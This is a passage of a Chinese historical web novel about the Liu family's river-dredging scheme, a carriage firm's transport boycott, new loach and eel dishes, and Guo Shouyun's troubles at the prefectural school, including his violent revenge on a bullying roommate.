她说起今日的事:“温大人同意了,计划以清水河到县城这一段作试点,三日后动工,按照河段就近承包给附近的村子。” 清水河到县城的河道有十五公里,跨越平安镇十个村庄,一个村子平均修建1.5公里。 刘有山放下手中的腊肠,夹了一筷子豌豆尖,不愧是女儿种出来的,比以往吃过的豆尖都要甜,他又夹了一筷子吃下才道:“章程出来了么?” “史师爷牵头,衙门和村子各出十名记分员为清河的劳力打分,清理一筐淤泥得一分,一分可领一文钱,不是按照人头算,按照淤泥的筐数算。” 刘慧兰和苏氏体会不到其中的差异,刘有山立马反应过来:“意思是妇人也可以去清淤泥?” 刘青青点头,原本温大人们照惯例,按照壮劳力的人头来付账,被刘青青劝住。 冬日田地里活计少,大家都靠在院墙下晒太阳,东家长西家短的扯闲话斗嘴打牌,每年村子里都要弄出点口角,轻微的吵架,严重的动手。 不如全部弄到河边清泥,能加快进度。 二来不是每一个妇人都像苏氏阿姊这样会刺绣,擅做饭。 村子里有些妇人 常年劳作,比男人还能吃苦,因做的是家里的活计,没有直接的经济效益,家庭地位低下,让这些妇人有收入,间接的提高她们的底气。 三来有些人家家里缺少壮劳力,同样要吃喝缝衣,让妇人孩子参与进来,多少得一点收入补贴家用。 刘有山叹道:“你是好意,只怕那些妇人抬不动竹筐哪!” 刘青青笑道:“壮汉用扁担一次挑两筐,一天挑五十次,就是一百文。力气小的妇人挑半框,凑起来一筐,多挑几次,也能赚到七八十文。 还有那些半大的孩子,以其让他们到处爬高上低闯祸,还不如让各家弄个小筐跟着去挑,反正按照最后的筐数计分给钱。” 刘有山点点头:“所以,这次清淤泥工程,和我们家关系不大。”刘家就没有一个搬得动框子的。 刘青青笑得看不见眼睛:“关系大了去了,大人答应,劳力们将淤泥清理到河岸上,由我们家拉走。” “也就是说,整条从平安镇到常平县的十五公里的清水河里的淤泥,全部白给我们家。” 刘有山也兴奋起来,之前做肥料赚了点银子,但是不多,一个原因就是,淤泥全靠买,现在呢,免费送,只要拉回来就行。 刘青青笑得浑身乱颤:“重点不是淤泥,是淤泥里的东西!” “淤泥里藏了许多泥鳅和鳝鱼,全是我们家的!” 之前收购淤泥,送来的淤泥都被百姓们,把其中的泥鳅、鳝鱼、河蚌摸干净了,但是,这次清理清水河,为了赶进度,劳力们肯定没有功夫去摸净淤泥里的泥鳅鳝鱼:坐着摸半个时辰得十多条小泥鳅,还不够打牙祭,早就能挑好几筐淤泥了。 泥鳅和鳝鱼土腥味重,需要重油烧制,舍得放油的人家选择多,不会下河搬淤泥,舍不得放油的人家,嫌弃泥鳅不好吃。 而刘家制作肥料需要摊平晒干淤泥,顺便在淤泥中把泥鳅鳝鱼河蚌螺蛳给捡出来。 万一又撞大运,从河蚌中开出珍珠来呢。 当然,刘青青只是想一想。 刘青青部署了接下来的安排,刘有山在河段旁边就近买下八块田,组织人手挖出八个晾晒坑来,然后将淤泥倒进去晾晒,顺便雇佣附近的小孩儿去坑里逮泥鳅鳝鱼河蚌螺蛳,用驴车拉回刘家,倒入后院的池塘先养着。 等晾晒坑里的淤泥晒干,再拉回刘家的肥料作坊里按照配方勾兑。 刘慧兰负责用这些收来的水产,开发出新的菜式,尽快在青华楼上新菜。 拉运是个大问题,此地缺马,因为不赶时间,完全可以用驴车和牛车代替。 就着灯光,几人一边围在堂屋的八仙桌上,写写画画,一项一项的落实补充。 正说得热闹,院门被砰砰砰敲响,翠翠跑去开门,进来一个熟人。 此人头戴紫金冠,身着时兴弹墨云锦,脚踏玄色朝云靴,罩着石青刻丝灰鼠披风,扯高气昂走进来,划拉甩开披风,直接坐到了堂屋里的上座。 你道是谁,原来是赵兴冬。 刘青青翻了个白眼,不装逼会死么,南平府的秋天,还不到穿披风的时候罢。 别说,赵兴冬原本清秀俊俏,这么一收拾打扮,还挺人模狗样,可惜金玉其外,败絮其中,是个软骨头。 刘青青对着他上上下下打量了一番,撇撇嘴掐着翠翠的脸颊嗔道:“你怎么随随便便把猫猫狗狗都放进来!” 翠翠委屈的瘪嘴;“我才打开门,他便自己进来了!” 被比作狗的赵兴冬:“……” 他脸上的意气风发维持不住,冷哼一声:“死到临头还不知道,我好心来给你们通风报信,你们就是这么对待恩人的?” 他看着刘慧兰,紧紧抿着唇,只要她求他,愿意做他的外室,他一定冒着风险,悄悄帮他们家度过这个难关。 家里那位,怎么说呢,实在骄横,他心里最喜欢的,还是慧兰这样温柔贴心小意的。 哟,这话里有话啊。 不过,赵兴冬已经入赘到府城的大户人家,还总盯着阿姊瞧是几个意思? 刘青青恼怒的站起来,怼到他面前:“赵兴冬,别整这些虚头巴脑的,有话快说,有屁快放,放完滚蛋!” 刘慧兰趁着这个空档起身去厨房烧水,不是怕了他,主要是赵兴冬的眼神实在太恶心。 赵兴冬黏在刘慧兰上的眼睛总算长回自己的眼窝里,他听清刘青青的话,嫌疑的皱眉,刘家日子过得也算不错,还是一副上不得台面的粗俗模样,等慧兰跟了他,要让慧兰和这一家子断了来往。 他冷笑道:“裴家车马行决定,封杀你们家!” “以后,你们刘家的货物,一律不送不运!” “不仅是清水沟到县城,还有县城到府城,你们刘家的货物,休想运出去。” 刘有山脸色可见的沉了下来,货物中断,县城的青华楼倒闭在即,还有府城的青华园,下个月举办鹿鸣宴,没有最新鲜的食材,如何举办?砸进去的银子赔掉不说,刘家只怕还要吃官司。 可以说,裴家车马行在这骨眼上弄这一出,确实掐住了刘家的脖子。 苏氏已经焦急的惶然无色,翠翠不明白其中的厉害关系,但她感受到母亲脸上的剧变,吓得抱着苏氏不敢说话。 刘青青迅速的在脑子想着对策,原本是打算是船运代替裴家马车行,摆脱马车行的限制,只是没想到,县城的马车行,背后的东家竟然是赵兴冬的婆家,还控制着县城到府城的水运。 大大的不妙啊! 第93章 第93章碎瓷片的阴影 刘家一家子人人面色仓惶,赵兴冬心底闪过一阵隐秘的爽快。 他洋洋得意,从怀里掏出刘青青和车马行的契约,划拉撕成两半:“从今天起,这个契约作废!” “刘家作坊里的货休想再运出去。” “不过!”他停顿了一下,高昂着下巴:“若是慧兰给我做丫头,我可以考虑考虑从中说项说项,在原有的基础上,涨三成的运费,帮你们运送货物。” 菌子保鲜时间短,必须要快运,所以刘家大量雇佣裴家的马车。 为了保证双方的权益,当时签订了契约,每一次的货物,裴家车马行必须两个时辰内把货物送达青华楼,超时便赔钱。 而作为刘家,只能雇佣裴家的马车送货,违约罚款。 随着最后一批鲜活的松茸卖给了薛文豪,刘家对马车的依赖性大大降低。 因为契约时限不到,现在每日租用车马行的马车,全是运送米线到县城。 刘青青想了想,她完全可以把米线作坊搬到青华楼后院去,从城里相熟的粮店那里买米制作米线,车马行影响不到刘家。 下一步准备上新泥鳅和黄鳝,两种动物生命力顽强,能长途运输,不用赶时效,用驴车拉运,完全没有问题。 至于明年卖菌子,那是来年夏天的事情,到时候河道已经清理好,刘家买上一条船自己送菌子不香么。 所以,车马行对刘家的封杀,是抓蛇打尾巴,挠不到要害啊。 刘青青琢磨半天,不明白裴家车马行这一步棋,是几个意思? 要知道,那份契约保障了双方的权益,谁先毁约,就要赔偿对方半个月的运费。 赵兴冬脸上闪过得意,成竹在胸,一副胜券在握的样子:“你们放心,好歹慧兰是我曾经的未婚妻,看着过去的情分,我不过让她干重活,最多端端洗脚水!” 他一副施舍人高高在上,好似做了很大让步的模样:“这样,让她一个月回来一次,带点府城的点心果子探望你们……” 他还没说完,刘青青捡起地上被他撕毁的契约,古怪的笑道:“没事,正好,我还想找裴家车马行解约,你算是车马行的少东家罢,既然你已经撕毁了契约,那刘家和车马行的合作到此结束!” 她将契约上最后面的小字,怼到赵兴冬的眼睛下:“赵东家看清楚了,先毁约者,赔偿对方半月的运费,上个月运费是一千两,所以,你要赔偿我们五百两!” 她伸出白嫩嫩的手掌:“给钱吧!” 赵兴冬傻眼了。 刘家不是应该求着他重新签订契约么?难道他们家不想做菌子生意了? 不管他的疑惑,刘青青嫌弃的皱眉:“不会吧,看你打扮得人模狗样的,不会五百两都没有吧?莫非是个花架子?难怪村里人都是你是吃软饭的。” 赵兴冬涨红了脸,他最讨 厌别人说他吃软饭,明明他是靠能力得了裴家的看重,委与重任。 可是,他身上的荷包里只有妻子准备的几两碎银子,用来打赏下人,确实掏不出五百两。 被刘青青一挤兑,他恼羞成怒,将头顶上的紫金冠扯下来丢到桌只上:“这顶金冠买了六百多两,赏给你了!” 刘青青接过,熟练从怀里掏出一个银称子,在他鄙夷的目光中称了称金冠,嫌弃道:“你的金冠才有四两重,能兑换四百两银,还差我们一百两!” 赵兴冬咬牙切齿,恨她乡巴佬不识货:“金冠纯金打造,上面是珠宝大家雕刻的宝相花纹,五百两只有多,没有少的!” 刘青青冷笑:“我们家又不用金冠,不管是宝相花还是茅草花,全都要融成元宝。赶紧的,还差一百两!” 赵兴冬被她挤兑得面红耳赤,紧紧相逼。最后没办法,将腰带上的两颗蓝宝石抠下来给她。 刘青青估摸着两样加在一起足够五百两,赶人出门:“行了,滚吧,回去告诉你主子,爱咋个封杀就咋个封杀,我们刘家不怕!” 赵兴气得太阳穴直突突,发现论嘴皮子利索,三个他也赶不上,若动手吧,旁边棉花黑炭露出尖利的獠牙虎视眈眈,他真不是对手。 放了两句狠话,灰溜溜走了。 出了门的赵兴冬被冷风一吹,才惊觉头上的紫金冠和腰间的宝石扣带,真的被刘青青给弄了去,他回去可怎么交差啊! 要知道,裴氏极其满意他的俊俏和温柔小意,对他很是大方,为他置办了无数的贵重首饰衣裳,但同时也很扣门,不给他超过十两以上的银子。 每日回家,裴氏的大丫头都要来检查他身上是否少了什么东西,或多了什么东西。 前些日子,他弄丢了一块佩玉,裴氏闹腾了一场,说他悄悄把佩玉弄去送给相好,审问了半宿。最后他下跪在碎瓷片上,发誓赌咒裴氏才鸣金收兵,相信了他。 想到碎瓷片,他感觉膝盖又隐隐发痛。 今晚上过来,原本计划把刘慧兰拿下,此事不得见光,赵兴冬打发走了身边跟随的耳报神小厮,说要独自走一走。 现在他一人走在全是淤泥的清水河边,越想越后怕,不敢回去面对裴氏的怒火。咬咬牙,纵身跳进清水沟,解散发带、将腰扣重重踩在河底的淤泥下,扑腾得一身的臭淤泥,才挣扎着爬上岸。 冷风一吹,哆哆嗦嗦往自己家走。 他已经想好了说辞,村里有人嫉妒他得觅良妻,敲他闷棍丢到河里,金冠腰扣全掉了。 想了想,他又解下玉佩在河边挖了个坑埋起来,算是以后的私房钱。 刘家对这些一无所知,刘青青解释了她的计划,刘有山点头称是:“哎,马车是我们家的硬伤啊。” 因为大赵和金国的战争,耐力好力气大适合拉车的马匹,有价无市,根本就买不到。 苏氏捧着赵兴冬的金冠和蓝宝石,欲言又止:“真的要去融掉么?”她心里不落忍,从小看着长大的孩子,吓唬吓唬也就行了。 刘青青嗤笑:“干嘛还,契约上白纸黑字上明明白白写着呢!” 她吐糟了几句:“算了,先收着把,等赵兴冬滚了,我拿去给大春,二贵叔养他一场,他倒好,拍拍屁股给人做上门女婿,让二贵叔在村里抬不起头来,枉为人子。” 慧兰眨眨眼:“阿云也做了我们家的上门女婿!” 刘青青摇摇头,解释:“阿云不一样,阿云本来就是我们家的啊!” 背上搭着个包袱神色疲惫的郭守云进门便听到了这一句,顿时奔波的劳累瞬间无影无踪,他顺着喊了一圈人,最后将目光落在刘青青身上:“阿青,我回来了!” 刘青青:“我长眼睛,看见你回来了,可是,好好的,你回来作甚?”不是说好跟着卢雪樵念书么? 大家凑了过来,急切的看着他,七嘴八舌表示关心:“可是银钱不够?仰或惹了先生生气?”” 刘青青也有些心虚,难道卢雪樵发现了边关一百零八好汉是她操刀的,所以卢雪樵反悔了? 她眼巴巴的盯着郭守云。 郭守云失笑:“师父对我的学问很是上心,他白日要忙于公务,将我送到府学念书,只有晚间回衙门。” “因这段日子进步很大,师父允我休沐两日,我回来看看你们。” 他说完后,有些赧然道:“阿娘,还有吃的么,我饿得慌!” 不待苏氏回答,刘慧兰道:“有,你等着!” 不一会炒了一碗米线端过来:“这是家里新做的,你先垫吧垫吧!”刘慧兰炒的米线比刘有山炒得,无论卖相还是口味,都要精致得多。 除了韭菜,还打了两枚鸡蛋,金黄色的碎鸡蛋,白色的米线,翠绿的韭菜,酒红色的血肠,混合在一起,香浓扑鼻,变成了家的味道。 刘青青眼巴巴的盯着,她也好想吃。 不等她开口,郭守云又取了两个小碗,分了半小碗给她,半碗给翠翠:“少吃些,当心肚子疼!” 刘慧兰早就又端了一个拖盘过来,看到这个画面,在刘青青脑门上没好气的点了一下:“你们呀,总是抢阿云碗里的吃食,也不想一想,他饿了一路。” 刘青青缩了缩脖子,没办法,最近总是饿,她真不是有意抢阿云的食物吃。 刘慧兰将托盘里的两菜一汤放在桌子上:“我琢磨了黄鳝和泥鳅的吃法,刚刚顺手做了,你们尝一尝,要不要得?” 她一一介绍起来:“诺,这是青龙归洞!” 刘有山撇嘴:“不就是泥鳅钻豆腐么,你也学着阿青,竟起些刁钻古怪的名字!” 苏氏打了他一下:“你甭吱声,我觉得名字挺好!” 刘慧兰笑盈盈道:“泥鳅放在鸡蛋清中,让它们吐干净里肚子里的脏东西,再换到淘米水中清洗干净黏液,加入高汤,与嫩豆腐同煮,最后撒上芫荽香葱,看看,是不是像许多小青龙钻到洞穴里啊!” 刘有山夹了一条泥鳅,惊奇的睁大的眼睛,这泥鳅完全没有平时的泥腥味,鲜香嫩滑,唇齿生津,确实担得起小青龙的名号。 郭守云也尝了一条,笑道:“鲜美可口,不过,名字得改一改!一般天子自称真龙,我们把它叫青龙,只怕不合适!” 刘慧兰打了个寒战,是啊,不小心犯了大忌讳,幸好阿云提醒她。 忙不矢点头:“阿云,现在家里你学问最好,你说,叫什么合适?” 郭守云抬眼,四周雪白的墙,如同豆腐一般,刘青青也当得起一个青龙,让他骄傲的小青龙就住在白色的屋子里。他脱口而出:“不如叫金屋藏骄!” 刘慧兰跟着重复了两便:“金屋藏娇,好听!”郭守云笑而不语,没有指正其中两个骄的区别。 大家把眼光看到了剩下的两盘菜。 刘慧兰介绍:“诺,这是紫龙闹天宫,不过得把名字改动一下!” 还有这一盘是凉拌鳝段。 “洗干净的黄鳝用文火煮熟,取出腹部的血条,便是紫龙,热油滑锅加姜蒜翻炒,最后撒上芫荽。取过紫血的鳝鱼,切段后放油锅煎炸再调佐料浇上,便是凉拌鳝段。” 生黄鳝血有毒,有治疗中风之效果。熟的黄鳝血无毒,是大热兴补之物,民家传说有不可描述的功效。 黄鳝血才是这道菜的精髓,其他酒楼也做黄鳝,一般是连着血切段爆炒,味道还可以,模样有点不忍直视。 像刘慧兰这样,直接把黄鳝血弄成血旺,配上白色的葱蒜,黄色的姜片,翠绿的韭菜,红色的茱萸来炒,是独一份,光卖相上就清爽漂亮许多——尝着味道,一种嫩血旺的感觉。 剩下的边角料也不浪费,取出内脏,高温炸过后,表皮焦脆,内里鲜嫩,骨头带着焦香,和纯酿搭配最佳 众人目光炯炯看着郭守云,为这道菜叫个什么样的名? 第94章 第94章起 名 郭守云想了想,笑道:“紫龙从鳝鱼腹中取出,如同脱去外裳战袍一般,有那么几分解甲归田的意思,只是这词意境不太好,有点影射我们赵国战败!” 刘青青笑呵呵听着,逼着阿云去府城读书,果然是正确的选择,看看,都晓得意境了,还会联系时政,一直缩在村子里,哪里会有这么大的长进。 刘有山严肃着脸:“中风瘫痪之人及时服用鳝鱼血,有一定几率康复下地,说是满血复活也不为过,不如喊重振雄风!” 郭守云似笑非笑不接话,只管低头喝水。 刘青青挑眉,阿爹暗示这道菜对夫纲不振的男子大有裨益,行吧,这也是一个卖点。 苏氏和刘慧兰认识字不多,根本就没反应过来刘有山话里有话,只觉这个菜名威风禀禀,寓意好,举手赞同,翠翠嚼着鲜嫩焦香的鳝段只会点头。 只剩下最后一道菜凉拌鳝段,一段一段,像蝴蝶一样,苏氏灵机一动,取名蝴蝶鳝。 吃完宵夜,一家人围坐在郭守云身边,津津有味听他讲述府学的点点滴滴。 “府衙里,师父专门从前院拨了一间屋子给我,晚间办完公务,还不忘记指导我一番。”他羞赧道:“师父很喜欢我们家的弥渡卷蹄,阿娘,家里还有么,我想再带一只给师父!” 他组织了一下语言,微笑道:“府学里的同窗先生都很好,因为我年纪小,对我多有照顾。” 少年脸上笑盈盈的,他没说,卢雪樵对他只是面子情,才见了几次面的陌生人,成了师徒。彼此客气有礼疏离,有空的时候提点他几句学业,要说多好,不至于。 他不喜欢给人添麻烦,就在自己的屋子里苦读背诵,卢雪樵偶尔想起他,招来考问时,发现布置下的课业,他都能超额完成,对他多了几分爱惜,因自己忙于公务,干脆打了声招呼,把他丢到府学,让他三日回府学禀报一次。 府学必须是秀才才能读的,他这个关系户,一去就被分到了黄字班——府学里学问最差,也是关系户最多的学子,组成的班级。 大家一开始只知道他是知府送来的,对他笑脸相迎。 后来打听到他不过是乡下的土小子,因入了卢雪樵的眼,土鸡飞上枝头变凤凰,对他各种羡慕嫉妒恨,有借着和他结交打探知府大人的,也有阴阳怪气说闲话的,还有背地里使绊子的。 郭守云一概不理,每日闷头读书,进步巨大,得了夫子的夸奖,越发让那些人眼红,更加猖獗。 他每日既要苦读,还有防备学堂的暗算,真是身心俱疲。 因为他小着别人几岁,个子最矮,去饭堂打饭的时候,挤不过别人,所以总是最后去。 但到了最后,饭堂里的饭菜大都冷却,吃了几次冷饭后,肚子隐隐会疼,集中不了精神念书,倒耽误了功课。所以他备了红泥小炉,打完饭菜回来再热一热。 少年笑眯眯的,将这些烦恼一股脑的埋在肚子里,只把学堂里好玩的事情絮絮叨叨讲出来。 “我在寝室里,弄了一个红泥小炉,夜间读书肚子饿的时候,悄悄的煮点面条,将家里带去的鸡枞油,腊肠撒上去,那味道,简直绝了!” 刘青青有些担忧:“府学不是双人间么,夜里煮面条,你室友会不会介意?” 郭守云面上一窒,府学寝室都是双人间,但他是单人间。 因为,他的室友,被他弄走了。 他原本的室友叫萧昕言,是个欺善怕恶的小人。 一直对他冷嘲热讽,他懒得搭理。不过那日,萧昕言这厮,嘲笑他的被子是大红大绿,村得掉渣,他忍不住怼了几句。 后来趁着他去饭堂打饭,萧昕言故意将茶水泼在他的被子上。 等他回来发现的时候,被套已经被洇湿,连里头雪白的棉花也变得脏兮兮的,那一刻他是真的生气了。 之前萧昕言阴阳怪气说风凉话,说他土,嘲他村,他都不吭声,这次,他直接将茶杯砸在萧昕言头上,压着他打了一架。 萧昕言比他大三岁,但哪里是从小就搏命的郭守云的对手,再加上这半年,刘家伙食营养均衡管饱,他身强力壮,萧昕言这白斩鸡被打得哭爹喊娘:郭守云双手死死掐在他脖子上不松开,即便萧昕言拿鞋抽在他脑袋上他也巍然不动。 最后将萧昕言掐的翻了白眼昏了过去,郭守云才撒手,恨恨踹了萧昕言好几脚,往他口里灌了一瓶纯酿,施施然去外面丢瓶子。 上完课的山长被一条野狗叼走了荷包,满府学追捕野狗,野狗仓皇之下,跑进了学子们的院子,呲溜钻进郭守云他们的寝室。 山长一路急追,一进门便看见睡在地上的萧昕言,以为他犯了隐疾,哪里还顾得上野狗,大呼小叫招来一院子的人。 等靠进了才闻到萧昕言身上浓重的酒味,满腔的担忧瞬间化作愤怒,立刻呼来司寝先生。 司寝先生吓得一头白毛汗,这事透着诡异,但又合情合理。 学舍里萧昕言欺负新来学子的事,他有所耳闻,他第一反应就是,萧昕言被算计了。 郭守云是知府塞进来的关系户,虽然他家是乡下的穷小子,可是代表着知府大人的颜面,有些东西,只要没有证据,糊里糊涂便过去了,但这次,萧昕言算是碰到了硬茬子。 还主动将把柄明晃晃的送到人手上,时运背到老家被山长亲自抓包。 学寝挨在一起,周围围着一圈的学子,大家稍微一凑近,就能闻到萧昕言身上浓重的酒香,幸灾乐祸嘻嘻哈哈讨论着他,他还兀自醉酒沉睡。 萧昕言完了。 司寝陪笑:“萧秀才平日很是上进,许是误会,不如让他辩解一二!” 他端来一盆冷水将昏睡的萧昕言泼醒,睡梦中的萧昕言睁开眼看了看周围,嗓子眼有种烈火般灼烧的撕裂感,长大嘴巴啊啊啊半天,话没说清楚,酒隔却把山长熏得一个趔趄,山长气得胡子都歪了,这些学子真是反了天,越来越混,大白天的违规酗酒。 萧昕言稀里糊涂喜提闭门思过一年,也就是说,休学回家一年,明年参加入学考试,若不过关,以后和府学无缘。 除了司寝,大家没有怀疑过郭守云,毕竟,在萧昕言大嘴巴的宣传下,郭守云是个乡下买不起几本书的穷小子,因为意外,为迷路的知县大人指了路,走了狗屎运,才成了树枝上的假凤凰,只要期末岁考,必然被府学清退。 这样的懦弱胆小穷小子,平日被萧昕言欺压得死死的,看看,现在他还害怕得在一边颤抖着身子呢。 郭守云是气的,废了他那么大的功夫,才弄了一个休学,他的被芯是刘青青亲手弹出来的,萧昕言这厮竟然往上面倒茶水,真是吃了熊心豹子胆。 后来,他悄悄出门,翻到萧昕言家,趁着他上茅厕的时候,套了个麻袋打了一顿扔到茅坑里,心里那股子郁气才散了些。 后来听萧昕言那些狐朋狗友只言片语,萧昕言惹了厕神,一进茅厕便抖腿,吓得不敢再一个人上厕所。 万千思绪在脑子弹指一瞬,这些小事就不用和家里人说了吧。 他笑道:“我原本有一个室友,只是他生了病,请假休学回家,暂时不来府学!”惹了侧神也是病,得治。 刘青青脸上的笑容淡了些,没有再问,嘻嘻哈哈道:“阿云赶了一天路,不如明日再说?” 郭守云是她看着一步步,从不会说话的狼崽子,变成腼腆怕人的农家小子,到寥寥而谈的小书生,两个人朝夕相伴,他的每一次兑变她都有参与,每一个细微的动作,每一个笑容她熟知于心。 若他是真心实意的笑,他的眼角会不自觉翘起来,形成一个漂亮的小弧度,而现在,他虽然在笑,但是,眼角的弧度依旧是下榻的。 阿云撒谎,他过得一点都不好。 她的心底蒙上一层阴翳:她的阿云,被校园凄凌了! 等大家都睡着了,刘青青起床,摸到后院,果然在棉花黑炭的木窝旁,看到发愣的 郭守云。 月光下,他只着中衣,清冷的夜色中,他抱着棉花黑炭,眼底都是萧瑟。 这一瞬间,刘青青心疼极了,她走过去,握着他的手:“阿云,我们不去府学读书了吧!” 郭守云震惊不解:“干嘛不去?” 阿青废乐老鼻子劲才把他送了去,遇到点小问题就退缩,他还是那个一身狠劲的小狼文么? 他安慰的反握着她的手:“没事,我只是才去,有些不适应,跟不上夫子的进度,私下来多用功些,会好的!” “倒是家里边,是不是遇到了什么难题?” “我坐船回来,船家检查了我的户籍,说是清水沟村姓刘的客人,拒绝拉载!” “这是这么回事?” 刘青青看了他半响,勾唇道:“你老老实实告诉我学堂里的事,我便把家里的事和你道个一清二楚。” 才说完,冷风一吹,她便打了个喷嚏。 郭守云皱眉:“说来话长,万一冻坏了,先回去睡觉,以后我再和你细说。” “那简单,我们回屋说,你依旧睡上床,我睡下床,我们裹着被子,就不冷了!” 郭守云拒绝:“不妥!” “有什么不妥的,走吧走吧,冷死我了!” 郭守云是真想帮忙家里的事,挂在心里也睡不着。 二来他在府城孤身一人,没朋友,没有交流的人,除了夫子和府学里的杂役,那些眼睛长在头顶的秀才公根本不屑与他为伍。他的确孤独,想拉着刘青青唠唠嗑。 半推半就的跟着搬铺盖。 分别了半月,两人的心反而更近了。 第95章 第95章黑白萌萌哒 短短三日休沐日眨眼即过,郭守云看着刘青青给他准备的礼物,哭笑不得。 刘青青给她准备了一个书童:赵峰。 郭守云将她拉到一边:“你这不是胡闹么,峰哥是我的启蒙老师,如何当得我的书童。再说,我现在连童生都不是,带个书童,凭白让人笑话。 三来,峰哥在村学里干得有声有色,你让他跟着我,村学里这一摊子不就半途而废了么?” 刘青青急了:“看中的就赵峰哥是自己人,而且岁数大,能帮你。” “我是去读书的,又不是去打架的,还要人帮啊,天真!” “前因后果已经和你说了,你觉得我会吃亏么?” 刘青青抿着唇,执意让他带着赵峰去,郭守云没辙,最后投降道:“不是我不想带,实在是没办法,府学里规定每一位秀才允许带一名书童,要不等我明年中了秀才再带,现在带去,赵峰哥也进不去府学。” 这样啊,刘青青已经思索着,是不是在府学旁边买上一座房子,把他办成走读。 郭守云眼睛一瞥便知道她的打算,笑道:“府学为了让学子们心无旁骛读书,将府学四周五里地全买下来做了府学的田地,没有村庄人烟,若住到外面,每日花在路程的时间太长,不划算呐。” 而他们这些学子每年都要去土地上春耕夏种秋收,感受一番锄禾日当午的辛劳。 他作最后的保证:“你放心,我一定好好的,每日写信及时向你禀报,好不好?” 刘青青没辙,只好塞了一个荷包给他:“里头装了一百两银票,你只管用,家里不缺钱。” 郭守云不肯接;“上次从家里取的一百两银子,几乎没动过呢!”府学打饭不花钱,学费也不要钱,只是买红泥小炉买炭花用了一点。 刘青青硬塞给他:“买书买笔不得花钱。你要不接着,你就回来,我们不去念书了。” 都说到这份上,郭守云讪讪的接过,左右他攒着就是。 天气越来越冷,赶了三天,又给他做了三套铺盖,衣裳鞋袜,棉衣棉裤等。家里的菌子酱,干菌子,腊肠,卷蹄,肚包肉塞了满满两箱子。 还有带给卢雪樵的特产一箱子,所有行礼,整整装了一车。 这次依旧是大妞二妞拉车,两匹马不停对刘青青打响鼻,表示不满。 郭守云在大妞脑袋上拍了一下,唤来黑炭棉花,压低声音道:“河道修好前,若有紧急大宗货物要送,只管使唤棉花黑炭,它们有办法!” 刘青青不以为意,棉花黑炭是聪明的小狼没错,又不是马,能有什么办法! 大妞二妞拉一次车也要哼哼唧唧好几天,也是,人家是跑马,以速度见长,不是货车。 送走郭守云,刘青青把心思放在青华楼上,河道清淤工程有条不紊的进行,清理出来了许多泥鳅黄鳝,河蚌,小蚂鱼。 大泥鳅和黄鳝用清水养着,驴车慢慢拉到青华楼,只是小泥鳅小蚂鱼没有多少肉,放了吧又可惜,刘青青想了个主意。 把小泥鳅小蚂鱼放在池子里养几天,饿干净肚皮,放在倒了酒水的池子中养半天,送烤房里烤干,装罐封存。 吃的时候,揭开盖子,些微撒一点盐,香美酥脆,带着淡淡的酒香,没有半点鱼腥味,别提多好吃。 刘有山特别喜欢随身携带一罐子,没事的时候,抓出两颗来嚼巴两下。 河蚌的处理是个大问题,河蚌肉容易老,火候控制不好,肉老后咀嚼不动,但若火候不够,不能杀灭里头的寄生虫。 刘请请雇人将河蚌清理出来后,边角料喂鸭子,河蚌肉先用棒子敲成薄薄的肉饼后再烘烤。 烤出来的河蚌肉,雪白中带着淡淡的焦黄,像鱿鱼丝一样具有嚼劲,满嘴回甘。 得了新零食,刘青青每一样准备了两大罐子寄给郭守云。 她抱着坛子去到常平县码头,询问了好几家,都没有船家愿意捎带,有一个年岁大的船娘悄悄对她道:“闺女,回去罢,我们得了裴家的命令,没有船家敢帮你捎带!” 刘青青这一刻是真的火了,又是裴家,他们有病吧。 她怒火朝天,带着人一脚踹开县城裴家车马行的大门:“裴掌柜,你什么意思?” “我们青华楼这半年来,没少照顾你家的生意,有你们这么落井下石的么?你们到底什么意思?” 裴掌柜皮笑肉不笑,“刘东家,你这可是恶人先告状!” “因为北方作战,马匹断了货源,我们车马行照常提价,结果呢,你怂恿温知县开凿清水河,这是想撅了我们裴家的墙角,你都打在我们裴家脸上了,还不允许我们还手啊。你还有脸来质问我们什么意思?” 刘青青忍着恶心:“别跟我扯那些虚的,你们有自己的马场,靠着到草原的商路封闭,你们能坐地起价,我就能寻其他运货渠道。 只是你们这么大费周折,到底想干嘛,不妨打开天窗说亮话,免得闹腾大了,大家脸上不好看,你要知道,这青华楼可不是我一个人的!” 刘青青一副成竹在胸,裴掌柜嗤笑:“不就是姓温的入了点股么,我们裴家不怕!” “要是惹毛了我们家主,能直接断了常平到府城的河运!” 看到她面上震惊的神情,裴掌柜悠悠道:“不过嘛,大家都是生意人,没人喜欢和银子过不去!” “有条富贵路,只要你把府城的青华园转手给我们裴家,立马可得六万两银子,而且,以后雇佣我们车马,给你打八折!” 原来是看上了他手中的青华园了啊。 明白了症结在哪,刘青青不怕了,露出绚丽的笑,幽幽吐出几个字:“你们做梦!” 青华园她已经投入了六万两现 银,还有无数的精力心血,裴家车马行这是明晃晃的抢夺,半点脸面都不要了。 不过,裴家竟然半点没把县令放在眼里,还口出狂言,敢断了常平到府城河运,裴家背后到底站着什么人,能一声令下,让大大小小数以百计的船只听令,难道里边有什么他们这些外人不知道的缘由么? 哎,到这一刻,她无比想念阿云,要是他在这里,只要让他的够兄弟互相交流一下,就能得到答案。 不晓得棉花黑炭行不行? 刘青青没有其他办法,抱着坛子回家,打算过几日得空些,干脆骑着大妞二妞亲自走一趟。 她回到村,找到跟着翠翠到处乱窜的棉花黑炭,提溜到院子里,眼巴巴的道:“你们把这些送去给阿云,找得到路么?” 棉花歪着脑袋:“嗷呜?” 大大的眼睛里写满了问号,你说啥? 黑炭爪子扒拉着着坛子,咕咕噜噜滚起来,好奇的又扒拉了一下:“嗷!”调皮的它好似找到了新玩具,乐不思蜀。 刘青青:“……” 她恨恨拍了一下两只狼毛脑袋:“你们两个笨蛋,连阿云十分之一的本事都没学到!” 她抓着棉花的前腿,啪啪啪打棉花的小耳光。 棉花呜嗷一声,将头扭到一边,表示被侮辱到。 黑炭不敢玩了,歪着脑袋看了她一下,狗腿从郭守云屋里叼出一根腰带,放在坛子上。偌大的身躯不停的在腰带上滚。 刘青青看看腰带,再看看坛子,后知后觉:“你让我绑在你身上?” 黑炭猛点头。 刘青青想了想,坛子不容易绑,干脆换了水袋,里头装满了烘干小鱼,四只一组,恰好有四公斤,找了一条绳子,绑在黑炭的背上。 棉花有样学样,也绑了四袋。 刘青青有些不敢置信,试探道:“你们把这些送去给阿云,找得到路么?” 棉花黑炭绕着她转了两圈,呜嗷一声跑出院子,瞬间不见踪影。 刘青青追了出去,她不过顺嘴一说,两小只竟然当真,府城距离清水沟百里之远,它们哪里找得到路,万一迷路了找不回来,可怎么好。 而且,路上被坏人抓住了,怎么办? 刘青青越想越后悔,心里像有五百只蚂蚁在爬,为自己的冒失愧疚焦虑。 